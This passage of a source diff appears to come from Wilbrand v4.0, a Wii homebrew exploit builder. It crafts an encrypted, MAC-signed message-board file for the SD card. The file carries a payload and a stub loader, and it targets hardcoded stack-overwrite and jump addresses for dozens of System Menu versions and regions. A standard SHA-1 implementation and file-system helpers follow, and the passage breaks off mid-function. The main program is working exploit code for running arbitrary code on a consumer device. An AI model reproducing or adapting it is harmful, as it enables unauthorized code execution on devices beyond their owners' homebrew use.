// write 0x01010101 to signal the stub loader the end of its payload
_L( 0x01010101 );
// add the image at the end of the whole shabang
u32 tmgLoc = ( 0x32400 - 0 ) - envelope_bin_size;
wbe32( b + 0x528, 2 ); // type
wbe32( b + 0x52c, ( tmgLoc - 0x400 ) ); // offset - first header size
wbe32( b + 0x530, envelope_bin_size ); // size
memcpy( b + tmgLoc, envelope_bin, envelope_bin_size );
// fix checksum
t32 = ComputeCRC32( b + 0x400, 0x140 );
wbe32( b + 0x540, t32 );
//in.Dump( 0x568 + STRLEN, 0x5000 );
return in;
}
// messages stored on the SD card (as opposed to the ones in the wii's nand) are signed and encrypted
//! all the values added by this function are only present in messages which are encrypted, otherwise they are 0x00
Buffer &EncryptAndSign( Buffer &in, const Buffer &wiiID, const string &id, const string &type, const string &ext )
{
u8* b = in.Data();
u32 is = in.Size();
// write size
wbe32( b + 0x78, is );
// create keystring
u32 time = htonl( *(u32*)( b + 0x7c ) );
snprintf( (char*)b + 0x80, 0x1b, "%010u_%s_%s.%s", time, id.c_str(), ext.c_str(), type.c_str() );
// encrypt
Buffer iv;
MakeIV( iv );
Buffer key( 0x10, '\0' );
assert( key.Size() == 0x10 );
u8* kd = key.Data();
memcpy( b + 0xa0, iv.Data(), 0x10 );
aes_set_key( kd );
aes_encrypt( (u8*)iv.Data(), b + 0x400, b + 0x400, is - 0x400 ); // encrypt from 0x400 to the end of the file
// calculate hmac
hmac_ctx ctx;
hmac_init( &ctx, (const char*)wiiID.ConstData() + 8, wiiID.Size() - 8 );
hmac_update( &ctx, b, is );
hmac_final( &ctx, (unsigned char*)b + 0xb0 );
return in;
}
// expects mm/dd/yyyy. returns 23:59 of that day, UTC or 0 on error
// may or may not actually work
time_t ParseDateString( const char* str )
{
u32 month = 0, day = 0, year = 0;
// parse
if( sscanf( str, "%2u/%2u/%4u", &month, &day, &year ) != 3 )
{
return 0;
}
// the wii will self destruct in 2035, so as far as it is conserned,
// that is an invalid date. it also believes that Koji Kondo created the
// world in 2000, and any date prior to that is blasphomy
if( year < 2000 || year > 2035 )
{
return 0;
}
struct tm timeInfo;
memset( &timeInfo, 0, sizeof( struct tm ) );
timeInfo.tm_year = year - 1900;
timeInfo.tm_mon = month - 1;
timeInfo.tm_mday = day;
// 23:59 because messages show up with newest ones on top for each day
timeInfo.tm_hour = 23;
timeInfo.tm_min = 59;
time_t theTime = mktime( &timeInfo );
time_t utc = mktime( gmtime( &theTime ) );
// windows does some really weird shit with daylight saving time
time_t ret = ( ( theTime << 1 ) - utc );
struct tm * wtf = gmtime( &ret );
if( !wtf->tm_hour )
{
ret -= 3600;
}
return ret;
//return (u32)(theTime - difftime( utc, theTime ));
//return ( ( theTime << 1 ) - utc );// this works for linux and mingw, but not real windoze
}
static inline u32 HashStr( const string &str )
{
return ComputeCRC32( (u8*)str.c_str(), str.size() );
}
int main(int argc, char *argv[])
{
// test that whoever built this program didnt try to cram in
// a superhuge payload or envelope icon
//if( envelope_bin_size >= 0x7000 || loader_bin_size >= ( 0x2a3e0 - 0x108c0 ) )
if( envelope_bin_size >= 0x7000 )
{
cout << "E_BadData" << endl;
exit( E_BadData );
}
// MAC, date, sysmenu version, SD root
if( argc != 5 )
{
Usage( E_Argc );
}
u32 jumpAddr = 0;
u32 overwriteAddr = 0;
u32 jumpTableAddr = 0;
u32 fileStructVersion = 0;
u32 OSReturnToMenu = 0;
u32 __OSStopAudioSystem = 0;
u32 __GXAbort = 0;
u32 VFSysOpenFile_current = 0;
u32 VFSysReadFile = 0;
u32 __OSUnRegisterStateEvent = 0;
u32 VISetBlack = 0;
u32 VIFlush = 0;
u32 VFiPFVOL_GetVolumeFromDrvChar = 0;
u32 VFiPFVOL_SetCurrentVolume = 0;
Buffer wiiID;
Buffer mac;
u32 wiiID_upper = 0;
u32 wiiID_lower = 0;
u32 cdbTime = 0;
char buf[ 0x100 ];
string id ( "PUNE_69" );
string type ( "log" );
string ext ( "000" );
cout << "Wilbrand v4.0" << endl;
cout << " by Giantpune" << endl;
cout << " built: " << __DATE__ << " -- " << __TIME__ << endl;
cout << endl;
// check for valid MAC
string macStr( argv[ 1 ] );
macStr.erase( std::remove( macStr.begin(), macStr.end(), ' ' ), macStr.end() );
macStr.erase( std::remove( macStr.begin(), macStr.end(), ':' ), macStr.end() );
macStr.erase( std::remove( macStr.begin(), macStr.end(), '-' ), macStr.end() );
if( macStr.size() != 12 )
{
cout << "invalid MAC! " << argv[ 1 ] << '\n' << endl;
Usage( E_MacLength );
}
mac = Buffer::FromHex( macStr );
if( mac.Size() != 6 )
{
cout << "invalid MAC! " << argv[ 1 ] << '\n' << endl;
Usage( E_MacLength );
}
// parse date
string dateArg( argv[ 2 ] );
if( dateArg.find( '/' ) != string::npos )// parse mm/dd/yyyy
{
cdbTime = ParseDateString( argv[ 2 ] );
if( !cdbTime )
{
cout << "Error parsing date " << argv[ 2 ] << '\n' << endl;
Usage( E_BadDate );
}
cdbTime -= SECONDS_TO_2000;
}
else if( sscanf( argv[ 2 ], "%08x", &cdbTime ) != 1 || cdbTime > 0x43B5CA3B - 80 )
{
cout << "Error parsing date " << argv[ 2 ] << '\n' << endl;
Usage( E_BadDate );
}
// get system menu version and set some variables
string sysmenuVer( argv[ 3 ] );
std::transform( sysmenuVer.begin(), sysmenuVer.end(), sysmenuVer.begin(), ::toupper );
sysmenuVer.erase( std::remove( sysmenuVer.begin(), sysmenuVer.end(), '.' ), sysmenuVer.end() );
#define CASE_SYSMENU_VARS( val, x, y, z, f0, f1, f2, f3, f4, f5, f6, f7, f8, f9, f10 ) \
case val: \
{ \
jumpAddr = x; /* address of first "user" code to be executed*/ \
overwriteAddr = y; /* stack pointer at the moment when a specific variable is read from the stack */ \
jumpTableAddr = z; /* where will our "jump table" be in memory */ \
fileStructVersion = f0; /* these are some values to help the tiny loader */ \
OSReturnToMenu = f1; \
__OSStopAudioSystem = f2; \
__GXAbort = f3; \
VFSysOpenFile_current = f4; \
VFSysReadFile = f5; \
__OSUnRegisterStateEvent = f6; \
VISetBlack = f7; \
VIFlush = f8; \
VFiPFVOL_GetVolumeFromDrvChar = f9; \
VFiPFVOL_SetCurrentVolume = f10; \
} \
break
switch( HashStr( sysmenuVer ) )
{
CASE_SYSMENU_VARS( 0x33495415, 0x9234d22c, 0x816a73b8, 0x92349D10, //43U *
0x00000260, 0x813808a0, 0x8152d828, 0x8154409c,
0x814d3428, 0x814d3704, 0x81536b94, 0x8153e128,
0x8153dfa0, 0x814cdfe8, 0x814cdd48 );
CASE_SYSMENU_VARS( 0x2a526554, 0x9234d22c, 0x816a57d8, 0x92349D10, //42U *
0x00000260, 0x81380190, 0x8152c20c, 0x81542a80,
0x814d2c50, 0x814d2f2c, 0x81535578, 0x8153cb0c,
0x8153c984, 0x814cd810, 0x814cd570 );
CASE_SYSMENU_VARS( 0x017f3697, 0x9234d22c, 0x816a4858, 0x92349D10, //41U *
0x00000260, 0x8137fa14, 0x8152b944, 0x815421b8,
0x814d2388, 0x814d2664, 0x81534cb0, 0x8153c244,
0x8153c0bc, 0x814ccf48, 0x814ccca8 );
CASE_SYSMENU_VARS( 0x186407d6, 0x9234d22c, 0x816a46b8, 0x92349D10, //40U *
0x00000260, 0x8137f918, 0x8152b81c, 0x81542090,
0x814d2288, 0x814d2564, 0x81534b88, 0x8153c11c,
0x8153bf94, 0x814cce48, 0x814ccba8 );
CASE_SYSMENU_VARS( 0x7947d457, 0x92327a2c, 0x81681d08, 0x92324510, //34U *
0x00000264, 0x8137ad10, 0x8150dfb8, 0x8152482c,
0x814b4150, 0x814b4568, 0x81517324, 0x8151e8b8,
0x8151e730, 0x814af794, 0x814af4f4 );
CASE_SYSMENU_VARS( 0x36064290, 0x92327a2c, 0x81674ae8, 0x92324510, //33U *
0x00000264, 0x8137a274, 0x81505a00, 0x8151c274,
0x814878f8, 0x81487d10, 0x8150ed6c, 0x81516300,
0x81516178, 0x81482f3c, 0x81482c9c );
CASE_SYSMENU_VARS( 0x2f1d73d1, 0x92327a2c, 0x81673c88, 0x92324510, //32U *
0x00000264, 0x81379d08, 0x81505168, 0x8151b9dc,
0x81487384, 0x8148779c, 0x8150e4d4, 0x81515a68,
0x815158e0, 0x814829c8, 0x81482728 );
CASE_SYSMENU_VARS( 0x04302012, 0x92327a24, 0x81673508, 0x92324508, //31U *
0x00000264, 0x81379c34, 0x81504a74, 0x8151b2e8,
0x81486ca4, 0x814870bc, 0x8150dde0, 0x81515374,
0x815151ec, 0x814822e8, 0x81482048 );
CASE_SYSMENU_VARS( 0x1d2b1153, 0x92327a24, 0x81673a68, 0x92324508, //30U *
0x00000264, 0x81379bd4, 0x81504ffc, 0x8151b870,
0x81486c4c, 0x81487064, 0x8150e368, 0x815158fc,
0x81515774, 0x81482290, 0x81481ff0 );
CASE_SYSMENU_VARS( 0x2efe4471, 0x9234d22c, 0x816a9258, 0x92349D10, //43E *
0x00000260, 0x81380948, 0x8152d924, 0x81544198,
0x814d3524, 0x814d3800, 0x81536c90, 0x8153e224,
0x8153e09c, 0x814ce0e4, 0x814cde44 );
CASE_SYSMENU_VARS( 0x37e57530, 0x9234d22c, 0x816a7678, 0x92349D10, //42E *
0x00000260, 0x81380238, 0x8152c308, 0x81542b7c,
0x814d2d4c, 0x814d3028, 0x81535674, 0x8153cc08,
0x8153ca80, 0x814cd90c, 0x814cd66c );
CASE_SYSMENU_VARS( 0x1cc826f3, 0x9234d22c, 0x816a66f8, 0x92349D10, //41E *
0x00000260, 0x8137fabc, 0x8152ba40, 0x815422b4,
0x814d2484, 0x814d2760, 0x81534dac, 0x8153c340,
0x8153c1b8, 0x814cd044, 0x814ccda4 );
CASE_SYSMENU_VARS( 0x05d317b2, 0x9234d22c, 0x816a6578, 0x92349D10, //40E *
0x00000260, 0x8137f9c0, 0x8152b918, 0x8154218c,
0x814d2384, 0x814d2660, 0x81534c84, 0x8153c218,
0x8153c090, 0x814ccf44, 0x814ccca4 );
CASE_SYSMENU_VARS( 0x64f0c433, 0x92327a2c, 0x81683b88, 0x92324510, //34E *
0x00000264, 0x8137adb8, 0x8150e0b4, 0x81524928,
0x814b424c, 0x814b4664, 0x81517420, 0x8151e9b4,
0x8151e82c, 0x814af890, 0x814af5f0 );
CASE_SYSMENU_VARS( 0x2bb152f4, 0x92327a2c, 0x81676968, 0x92324510, //33E *
0x00000264, 0x8137a31c, 0x81505afc, 0x8151c370,
0x814879f4, 0x81487e0c, 0x8150ee68, 0x815163fc,
0x81516274, 0x81483038, 0x81482d98 );
CASE_SYSMENU_VARS( 0x32aa63b5, 0x92327a2c, 0x81675b28, 0x92324510, //32E *
0x00000264, 0x81379db0, 0x81505264, 0x8151bad8,
0x81487480, 0x81487898, 0x8150e5d0, 0x81515b64,
0x815159dc, 0x81482ac4, 0x81482824 );
CASE_SYSMENU_VARS( 0x19873076, 0x92327a24, 0x81675368, 0x92324508, //31E *
0x00000264, 0x81379cdc, 0x81504b70, 0x8151b3e4,
0x81486da0, 0x814871b8, 0x8150dedc, 0x81515470,
0x815152e8, 0x814823e4, 0x81482144 );
CASE_SYSMENU_VARS( 0x009c0137, 0x92327a24, 0x816758c8, 0x92324508, //30E *
0x00000264, 0x81379c7c, 0x815050f8, 0x8151b96c,
0x81486d48, 0x81487160, 0x8150e464, 0x815159f8,
0x81515870, 0x8148238c, 0x814820ec );
CASE_SYSMENU_VARS( 0xbe4159e0, 0x9234d22c, 0x816d6ab8, 0x92349D10, //43J *
0x00000260, 0x8137fd54, 0x81556768, 0x8156cfdc,
0x814fc368, 0x814fc644, 0x8155fad4, 0x81567068,
0x81566ee0, 0x814f6f28, 0x814f6c88 );
CASE_SYSMENU_VARS( 0xa75a68a1, 0x9234d22c, 0x816d4ed8, 0x92349D10, //42J *
0x00000260, 0x8137f644, 0x8155514c, 0x8156b9c0,
0x814fbb90, 0x814fbe6c, 0x8155e4b8, 0x81565a4c,
0x815658c4, 0x814f6750, 0x814f64b0 );
CASE_SYSMENU_VARS( 0x8c773b62, 0x9234d22c, 0x816d3f38, 0x92349D10, //41J *
0x00000260, 0x8137eec8, 0x81554880, 0x8156b0f4,
0x814fb2c4, 0x814fb5a0, 0x8155dbec, 0x81565180,
0x81564ff8, 0x814f5e84, 0x814f5be4 );
CASE_SYSMENU_VARS( 0x956c0a23, 0x9234d22c, 0x816d3dd8, 0x92349D10, //40J *
0x00000260, 0x8137edcc, 0x81554758, 0x8156afcc,
0x814fb1c4, 0x814fb4a0, 0x8155dac4, 0x81565058,
0x81564ed0, 0x814f5d84, 0x814f5ae4 );
CASE_SYSMENU_VARS( 0xf44fd9a2, 0x92327a2c, 0x816b1428, 0x92324510, //34J *
0x00000264, 0x8137a1c4, 0x81536ef4, 0x8154d768,
0x814dd08c, 0x814dd4a4, 0x81540260, 0x815477f4,
0x8154766c, 0x814d86d0, 0x814d8430 );
CASE_SYSMENU_VARS( 0xbb0e4f65, 0x92327a2c, 0x816a8488, 0x92324510, //33J *
0x00000264, 0x813798a8, 0x81532a3c, 0x815492b0,
0x81489450, 0x81489868, 0x8153bda8, 0x8154333c,
0x815431b4, 0x81484a94, 0x814847f4 );
CASE_SYSMENU_VARS( 0xa2157e24, 0x92327a2c, 0x816a7628, 0x92324510, //32J *
0x00000264, 0x8137931c, 0x81532184, 0x815489f8,
0x81488ebc, 0x814892d4, 0x8153b4f0, 0x81542a84,
0x815428fc, 0x81484500, 0x81484260 );
CASE_SYSMENU_VARS( 0x89382de7, 0x92327a24, 0x816a6e48, 0x92324508, //31J *
0x00000264, 0x81379248, 0x81531a90, 0x81548304,
0x814887dc, 0x81488bf4, 0x8153adfc, 0x81542390,
0x81542208, 0x81483e20, 0x81483b80 );
CASE_SYSMENU_VARS( 0x90231ca6, 0x92327a24, 0x816a73e8, 0x92324508, //30J *
0x00000264, 0x813791e8, 0x81532018, 0x8154888c,
0x81488784, 0x81488b9c, 0x8153b384, 0x81542918,
0x81542790, 0x81483dc8, 0x81483b28 );
CASE_SYSMENU_VARS( 0xc9466976, 0x9234d22c, 0x8167b9d8, 0x92349D10, //43K *
0x00000260, 0x8137fc34, 0x815065e0, 0x8151ce54,
0x814ac1e0, 0x814ac4bc, 0x8150f94c, 0x81516ee0,
0x81516d58, 0x814a6da0, 0x814a6b00 );
CASE_SYSMENU_VARS( 0xd05d5837, 0x9234d22c, 0x81679dd8, 0x92349D10, //42K *
0x00000260, 0x8137f524, 0x81504fc4, 0x8151b838,
0x814aba08, 0x814abce4, 0x8150e330, 0x815158c4,
0x8151573c, 0x814a65c8, 0x814a6328 );
CASE_SYSMENU_VARS( 0xfb700bf4, 0x9234d22c, 0x81678f18, 0x92349D10, //41K *
0x00000260, 0x8137edf0, 0x81504744, 0x8151afb8,
0x814ab188, 0x814ab464, 0x8150dab0, 0x81515044,
0x81514ebc, 0x814a5d48, 0x814a5aa8 );
CASE_SYSMENU_VARS( 0x9a53d875, 0x92327a2c, 0x81654868, 0x92324510, //35K *
0x00000264, 0x81379990, 0x814e6300, 0x814fcb74,
0x8148c5bc, 0x8148c9d4, 0x814ef66c, 0x814f6c00,
0x814f6a78, 0x81487c00, 0x81487960 );
// TODO:
//CASE_SYSMENU_VARS( 0xcc097ff3, 0x92327a2c, 0x81654828, 0x92324510 ); //33K
default:
{
cout << "Error parsing system menu version:" << argv[ 3 ] << endl;
Usage( E_SystemMenuVersion );
}
break;
}
// resolve absolute path for SD card and make sure it exists
string outPath( ResolvePath( argv[ 4 ] ) );
if( !outPath.size() || !DirExists( outPath ) )
{
cout << "SD root doesn\'t exist: \"" << argv[ 4 ] << '\"' << endl;
Usage( E_SDRoot );
}
// make sure it ends with a '/'
if( outPath.at( outPath.size() - 1 ) != SEPC )
{
outPath += SEPC;
}
// 1337math
//! convert r1 to pointer for over-writation (tm)
overwriteAddr = ( ( overwriteAddr + 0x14 ) - 0x8 );
// create WiiID
GetWiiID( mac, wiiID );
wiiID_upper = htonl( *(u32*)( wiiID.Data() ) );
wiiID_lower = htonl( *(u32*)( wiiID.Data() + 4 ) );
// create a buffer big enough to hold the largest possible cdb file + attribute header
// and fills it wil 0x00. 200KiB + 0x400 for attribute header
//! anything larger and the system menu refuses to load it
Buffer out( 0x32400, '\0' );
assert( out.Size() == 0x32400 );
AddCDBAttrHeader( out, wiiID_upper, wiiID_lower, cdbTime );
AddStuff( out, jumpAddr, overwriteAddr, jumpTableAddr, fileStructVersion,
OSReturnToMenu, __OSStopAudioSystem, __GXAbort, VFSysOpenFile_current,
VFSysReadFile, __OSUnRegisterStateEvent, VISetBlack, VIFlush,
VFiPFVOL_GetVolumeFromDrvChar, VFiPFVOL_SetCurrentVolume );
EncryptAndSign( out, wiiID, id, type, ext );
// generate output directory
time_t cdbT = cdbTime + SECONDS_TO_2000;
string datePath = PathFromDateTime( gmtime( &cdbT ) );
snprintf( buf, sizeof( buf ), "private"SEP"wii"SEP"title"SEP"HAEA"SEP"%08x"SEP"%08x%s"SEP"%s"SEP"%s"SEP
, wiiID_upper, wiiID_lower, datePath.c_str()
, id.c_str(), type.c_str() );
// write some important looking text on the screen
//! it seems like more important shit is happening when you see text on the screen
cout << "-----------------------------------------------------------" << endl;
COUT_STR( sysmenuVer );
COUT_BUF( mac, 6, u8 );
COUT_BUF( wiiID, wiiID.Size(), u32 );
COUT_U32( wiiID_upper );
COUT_U32( wiiID_lower );
COUT_U32( cdbTime );
COUT_U32( jumpAddr );
COUT_U32( overwriteAddr );
COUT_U32( jumpTableAddr );
COUT_STR( outPath );
COUT_STR( datePath );
COUT_U32( fileStructVersion );
COUT_U32( __GXAbort );
COUT_U32( OSReturnToMenu );
COUT_U32( __OSStopAudioSystem );
COUT_U32( __OSUnRegisterStateEvent );
COUT_U32( VIFlush );
COUT_U32( VISetBlack );
COUT_U32( VFiPFVOL_GetVolumeFromDrvChar );
COUT_U32( VFiPFVOL_SetCurrentVolume );
COUT_U32( VFSysOpenFile_current );
COUT_U32( VFSysReadFile );
cout << "-----------------------------------------------------------" << endl;
outPath += buf;
// meh, we're probably writing to a FAT formatted SD card anyways, 0777 will be fine
if( MkPath( outPath.c_str(), 0777 ) )
{
cout << "Error creating folder structure:\n\"" << outPath << "\"" << endl;
exit( E_CantWriteFile );
}
snprintf( buf, sizeof( buf ), "%08x.%s", cdbTime, ext.c_str() );
outPath += buf;
if( !WriteFile( outPath, out ) )
{
exit( E_CantWriteFile );
}
cout << "Wrote to:\n\"" << outPath << "\"" << endl;
exit( E_Success );
return 0;
}

371
source/sha1.cpp Normal file
View File

@ -0,0 +1,371 @@
/*
* sha1.c
*
* Copyright (C) 1998, 2009
* Paul E. Jones <paulej@packetizer.com>
* All Rights Reserved
*
*****************************************************************************
* $Id: sha1.c 12 2009-06-22 19:34:25Z paulej $
*****************************************************************************
*
* Description:
* This file implements the Secure Hashing Standard as defined
* in FIPS PUB 180-1 published April 17, 1995.
*
* The Secure Hashing Standard, which uses the Secure Hashing
* Algorithm (SHA), produces a 160-bit message digest for a
* given data stream. In theory, it is highly improbable that
* two messages will produce the same message digest. Therefore,
* this algorithm can serve as a means of providing a "fingerprint"
* for a message.
*
* Portability Issues:
* SHA-1 is defined in terms of 32-bit "words". This code was
* written with the expectation that the processor has at least
* a 32-bit machine word size. If the machine word size is larger,
* the code should still function properly. One caveat to that
* is that the input functions taking characters and character
* arrays assume that only 8 bits of information are stored in each
* character.
*
* Caveats:
* SHA-1 is designed to work with messages less than 2^64 bits
* long. Although SHA-1 allows a message digest to be generated for
* messages of any number of bits less than 2^64, this
* implementation only works with messages with a length that is a
* multiple of the size of an 8-bit character.
*
*/
#include "sha1.h"
/*
* Define the circular shift macro
*/
#define SHA1CircularShift(bits,word) \
((((word) << (bits)) & 0xFFFFFFFF) | \
((word) >> (32-(bits))))
/* Function prototypes */
void SHA1ProcessMessageBlock(SHA1Context *);
void SHA1PadMessage(SHA1Context *);
/*
* SHA1Reset
*
* Description:
* This function will initialize the SHA1Context in preparation
* for computing a new message digest.
*
* Parameters:
* context: [in/out]
* The context to reset.
*
* Returns:
* Nothing.
*
* Comments:
*
*/
void SHA1Reset(SHA1Context *context)
{
context->Length_Low = 0;
context->Length_High = 0;
context->Message_Block_Index = 0;
context->Message_Digest[0] = 0x67452301;
context->Message_Digest[1] = 0xEFCDAB89;
context->Message_Digest[2] = 0x98BADCFE;
context->Message_Digest[3] = 0x10325476;
context->Message_Digest[4] = 0xC3D2E1F0;
context->Computed = 0;
context->Corrupted = 0;
}
/*
* SHA1Result
*
* Description:
* This function will return the 160-bit message digest into the
* Message_Digest array within the SHA1Context provided
*
* Parameters:
* context: [in/out]
* The context to use to calculate the SHA-1 hash.
*
* Returns:
* 1 if successful, 0 if it failed.
*
* Comments:
*
*/
int SHA1Result(SHA1Context *context)
{
if (context->Corrupted)
{
return 0;
}
if (!context->Computed)
{
SHA1PadMessage(context);
context->Computed = 1;
}
return 1;
}
/*
* SHA1Input
*
* Description:
* This function accepts an array of octets as the next portion of
* the message.
*
* Parameters:
* context: [in/out]
* The SHA-1 context to update
* message_array: [in]
* An array of characters representing the next portion of the
* message.
* length: [in]
* The length of the message in message_array
*
* Returns:
* Nothing.
*
* Comments:
*
*/
void SHA1Input( SHA1Context *context,
const unsigned char *message_array,
unsigned length)
{
if (!length)
{
return;
}
if (context->Computed || context->Corrupted)
{
context->Corrupted = 1;
return;
}
while(length-- && !context->Corrupted)
{
context->Message_Block[context->Message_Block_Index++] =
(*message_array & 0xFF);
context->Length_Low += 8;
/* Force it to 32 bits */
context->Length_Low &= 0xFFFFFFFF;
if (context->Length_Low == 0)
{
context->Length_High++;
/* Force it to 32 bits */
context->Length_High &= 0xFFFFFFFF;
if (context->Length_High == 0)
{
/* Message is too long */
context->Corrupted = 1;
}
}
if (context->Message_Block_Index == 64)
{
SHA1ProcessMessageBlock(context);
}
message_array++;
}
}
/*
* SHA1ProcessMessageBlock
*
* Description:
* This function will process the next 512 bits of the message
* stored in the Message_Block array.
*
* Parameters:
* None.
*
* Returns:
* Nothing.
*
* Comments:
* Many of the variable names in the SHAContext, especially the
* single character names, were used because those were the names
* used in the publication.
*
*
*/
void SHA1ProcessMessageBlock(SHA1Context *context)
{
const unsigned K[] = /* Constants defined in SHA-1 */
{
0x5A827999,
0x6ED9EBA1,
0x8F1BBCDC,
0xCA62C1D6
};
int t; /* Loop counter */
unsigned temp; /* Temporary word value */
unsigned W[80]; /* Word sequence */
unsigned A, B, C, D, E; /* Word buffers */
/*
* Initialize the first 16 words in the array W
*/
for(t = 0; t < 16; t++)
{
W[t] = ((unsigned) context->Message_Block[t * 4]) << 24;
W[t] |= ((unsigned) context->Message_Block[t * 4 + 1]) << 16;
W[t] |= ((unsigned) context->Message_Block[t * 4 + 2]) << 8;
W[t] |= ((unsigned) context->Message_Block[t * 4 + 3]);
}
for(t = 16; t < 80; t++)
{
W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]);
}
A = context->Message_Digest[0];
B = context->Message_Digest[1];
C = context->Message_Digest[2];
D = context->Message_Digest[3];
E = context->Message_Digest[4];
for(t = 0; t < 20; t++)
{
temp = SHA1CircularShift(5,A) +
((B & C) | ((~B) & D)) + E + W[t] + K[0];
temp &= 0xFFFFFFFF;
E = D;
D = C;
C = SHA1CircularShift(30,B);
B = A;
A = temp;
}
for(t = 20; t < 40; t++)
{
temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1];
temp &= 0xFFFFFFFF;
E = D;
D = C;
C = SHA1CircularShift(30,B);
B = A;
A = temp;
}
for(t = 40; t < 60; t++)
{
temp = SHA1CircularShift(5,A) +
((B & C) | (B & D) | (C & D)) + E + W[t] + K[2];
temp &= 0xFFFFFFFF;
E = D;
D = C;
C = SHA1CircularShift(30,B);
B = A;
A = temp;
}
for(t = 60; t < 80; t++)
{
temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3];
temp &= 0xFFFFFFFF;
E = D;
D = C;
C = SHA1CircularShift(30,B);
B = A;
A = temp;
}
context->Message_Digest[0] =
(context->Message_Digest[0] + A) & 0xFFFFFFFF;
context->Message_Digest[1] =
(context->Message_Digest[1] + B) & 0xFFFFFFFF;
context->Message_Digest[2] =
(context->Message_Digest[2] + C) & 0xFFFFFFFF;
context->Message_Digest[3] =
(context->Message_Digest[3] + D) & 0xFFFFFFFF;
context->Message_Digest[4] =
(context->Message_Digest[4] + E) & 0xFFFFFFFF;
context->Message_Block_Index = 0;
}
/*
* SHA1PadMessage
*
* Description:
* According to the standard, the message must be padded to an even
* 512 bits. The first padding bit must be a '1'. The last 64
* bits represent the length of the original message. All bits in
* between should be 0. This function will pad the message
* according to those rules by filling the Message_Block array
* accordingly. It will also call SHA1ProcessMessageBlock()
* appropriately. When it returns, it can be assumed that the
* message digest has been computed.
*
* Parameters:
* context: [in/out]
* The context to pad
*
* Returns:
* Nothing.
*
* Comments:
*
*/
void SHA1PadMessage(SHA1Context *context)
{
/*
* Check to see if the current message block is too small to hold
* the initial padding bits and length. If so, we will pad the
* block, process it, and then continue padding into a second
* block.
*/
if (context->Message_Block_Index > 55)
{
context->Message_Block[context->Message_Block_Index++] = 0x80;
while(context->Message_Block_Index < 64)
{
context->Message_Block[context->Message_Block_Index++] = 0;
}
SHA1ProcessMessageBlock(context);
while(context->Message_Block_Index < 56)
{
context->Message_Block[context->Message_Block_Index++] = 0;
}
}
else
{
context->Message_Block[context->Message_Block_Index++] = 0x80;
while(context->Message_Block_Index < 56)
{
context->Message_Block[context->Message_Block_Index++] = 0;
}
}
/*
* Store the message length as the last 8 octets
*/
context->Message_Block[56] = (context->Length_High >> 24) & 0xFF;
context->Message_Block[57] = (context->Length_High >> 16) & 0xFF;
context->Message_Block[58] = (context->Length_High >> 8) & 0xFF;
context->Message_Block[59] = (context->Length_High) & 0xFF;
context->Message_Block[60] = (context->Length_Low >> 24) & 0xFF;
context->Message_Block[61] = (context->Length_Low >> 16) & 0xFF;
context->Message_Block[62] = (context->Length_Low >> 8) & 0xFF;
context->Message_Block[63] = (context->Length_Low) & 0xFF;
SHA1ProcessMessageBlock(context);
}

33
source/sha1.h Normal file
View File

@ -0,0 +1,33 @@
#ifndef _SHA1_H_
#define _SHA1_H_
/*
* This structure will hold context information for the hashing
* operation
*/
typedef struct SHA1Context
{
unsigned Message_Digest[5]; /* Message Digest (output) */
unsigned Length_Low; /* Message length in bits */
unsigned Length_High; /* Message length in bits */
unsigned char Message_Block[64]; /* 512-bit message blocks */
int Message_Block_Index; /* Index into message block array */
int Computed; /* Is the digest computed? */
int Corrupted; /* Is the message digest corruped? */
} SHA1Context;
/*
* Function Prototypes
*/
void SHA1Reset(SHA1Context *);
int SHA1Result(SHA1Context *);
void SHA1Input( SHA1Context *,
const unsigned char *,
unsigned);
#endif

261
source/tools.cpp Normal file
View File

@ -0,0 +1,261 @@
/***************************************************************************
* Copyright (C) 2011
* by giantpune
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*
***************************************************************************/
#include "tools.h"
#include <errno.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <dirent.h>
#include <unistd.h>
#ifdef WIN32
#define MKDIR( x, y ) \
mkdir( x )
#else
#define MKDIR( x, y ) \
mkdir( x, y )
#endif
void PutU16Str( u8* buf, const string &str )
{
u32 len = str.size() + 1;
for( u32 i = 0; i < len; i++ )
{
wbe16( buf + ( i << 1 ), str[ i ] );
}
}
static inline char ascii( char s )
{
return ( ( s < 0x20 || s > 0x7e ) ? '.' : s );
}
#define HDUMP_FILE stdout
void hexdump( const void *d, int len )
{
unsigned char *data = (unsigned char*)d;
const char *space = " ";
const char *nl = "\n";
int foo;
foo = fwrite( nl, 1, 1, HDUMP_FILE );
for( int off = 0; off < len; off += 16 )
{
fprintf( HDUMP_FILE, "%08x ", off );
for( int i = 0; i < 16; i++ )
{
if( ( i + 1 ) % 4 )
{
if ( ( i + off ) >= len )
foo = fwrite( space, 1, 2, HDUMP_FILE );
else
fprintf( HDUMP_FILE, "%02x", data[ off + i ] );
}
else
{
if ( ( i + off ) >= len )
foo = fwrite( space, 1, 3, HDUMP_FILE );
else
fprintf( HDUMP_FILE, "%02x ", data[ off + i ] );
}
}
foo = fwrite( space, 1, 1, HDUMP_FILE );
for( int i = 0; i < 16; i++ )
{
if ( ( i + off ) >= len )
foo = fwrite( space, 1, 1, HDUMP_FILE );
else
fprintf( HDUMP_FILE, "%c", ascii( data[ off + i ] ) );
}
foo = fwrite( nl, 1, 1, HDUMP_FILE );
}
fflush( HDUMP_FILE );
(void)foo;
}
typedef struct stat Stat;
static int do_mkdir( const char *path, mode_t mode )
{
Stat st;
int status = 0;
if( stat( path, &st ) )
{
// Directory does not exist
if( MKDIR( path, mode ) )
status = -1;
}
else if( !S_ISDIR( st.st_mode ) )
{
errno = ENOTDIR;
status = -1;
}
return( status );
}
int MkPath( const char *path, mode_t mode )
{
if( !path )
{
return -1;
}
char *pp;
char *sp;
int status = 0;
char *copypath = strdup( path );
if( !copypath )
{
return -1;
}
#ifdef WIN32
// skip base drive
pp = strchr( copypath, SEPC );
if( !pp )
{
return -1;
}
#else
pp = copypath;
#endif
while( !status && ( sp = strchr( pp, SEPC ) ) != 0 )
{
if( sp != pp )
{
